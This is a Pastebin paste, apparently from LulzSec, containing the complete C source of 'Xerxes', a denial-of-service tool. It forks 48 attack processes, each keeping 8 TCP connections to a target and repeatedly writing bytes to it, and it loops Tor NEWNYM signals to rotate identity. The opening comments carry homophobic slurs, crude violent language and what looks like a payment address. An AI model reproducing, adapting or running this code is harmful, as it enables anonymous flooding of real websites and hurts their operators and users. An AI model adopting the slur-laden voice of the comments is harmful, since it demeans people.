xLulzBoatx

Xerxes - Most Powerful DOS tool in the world

Mar 28th, 2013
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.62 KB | None | 0 0
  1. /* The sauce behind the faggotry */
  2. /* This is the original C source code fo the tool that faggot, jester, addded a GUI to */
  3. /* and renamed "XerXes". It does stuff. Like use TOR to rape sites... Kinda. */
  4. /* Read the source to understand how it works */
  5. /* Kinda lame. */
  6. /* ~LulzSec */
  7. /* 176LRX4WRWD5LWDMbhr94ptb2MW9varCZP */
  8. /* SET SAIL FOR FAIL! */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <stdint.h>
  13. #include <unistd.h>
  14. #include <netdb.h>
  15. #include <signal.h>
  16. #include <sys/socket.h>
  17. #include <sys/types.h>
  18. #include <netinet/in.h>
  19. #include <arpa/inet.h>
  20.  
  21. int make_socket(char *host, char *port) {
  22. struct addrinfo hints, *servinfo, *p;
  23. int sock, r;
  24. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  25. memset(&hints, 0, sizeof(hints));
  26. hints.ai_family = AF_UNSPEC;
  27. hints.ai_socktype = SOCK_STREAM;
  28. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  29. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  30. exit(0);
  31. }
  32. for(p = servinfo; p != NULL; p = p->ai_next) {
  33. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  34. continue;
  35. }
  36. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  37. close(sock);
  38. continue;
  39. }
  40. break;
  41. }
  42. if(p == NULL) {
  43. if(servinfo)
  44. freeaddrinfo(servinfo);
  45. fprintf(stderr, "No connection could be made\n");
  46. exit(0);
  47. }
  48. if(servinfo)
  49. freeaddrinfo(servinfo);
  50. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  51. return sock;
  52. }
  53.  
  54. void broke(int s) {
  55. // do nothing
  56. }
  57.  
  58. #define CONNECTIONS 8
  59. #define THREADS 48
  60.  
  61. void attack(char *host, char *port, int id) {
  62. int sockets[CONNECTIONS];
  63. int x, g=1, r;
  64. for(x=0; x!= CONNECTIONS; x++)
  65. sockets[x]=0;
  66. signal(SIGPIPE, &broke);
  67. while(1) {
  68. for(x=0; x != CONNECTIONS; x++) {
  69. if(sockets[x] == 0)
  70. sockets[x] = make_socket(host, port);
  71. r=write(sockets[x], "\0", 1);
  72. if(r == -1) {
  73. close(sockets[x]);
  74. sockets[x] = make_socket(host, port);
  75. } else
  76. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  77. fprintf(stderr, "[%i: Voly Sent]\n", id);
  78. }
  79. fprintf(stderr, "[%i: Voly Sent]\n", id);
  80. usleep(300000);
  81. }
  82. }
  83.  
  84. void cycle_identity() {
  85. int r;
  86. int socket = make_socket("localhost", "9050");
  87. write(socket, "AUTHENTICATE \"\"\n", 16);
  88. while(1) {
  89. r=write(socket, "signal NEWNYM\n\x00", 16);
  90. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  91. usleep(300000);
  92. }
  93. }
  94.  
  95. int main(int argc, char **argv) {
  96. int x;
  97. if(argc !=3)
  98. cycle_identity();
  99. for(x=0; x != THREADS; x++) {
  100. if(fork())
  101. attack(argv[1], argv[2], x);
  102. usleep(200000);
  103. }
  104. getc(stdin);
  105. return 0;
  106. }
Add Comment
Please, Sign In to add comment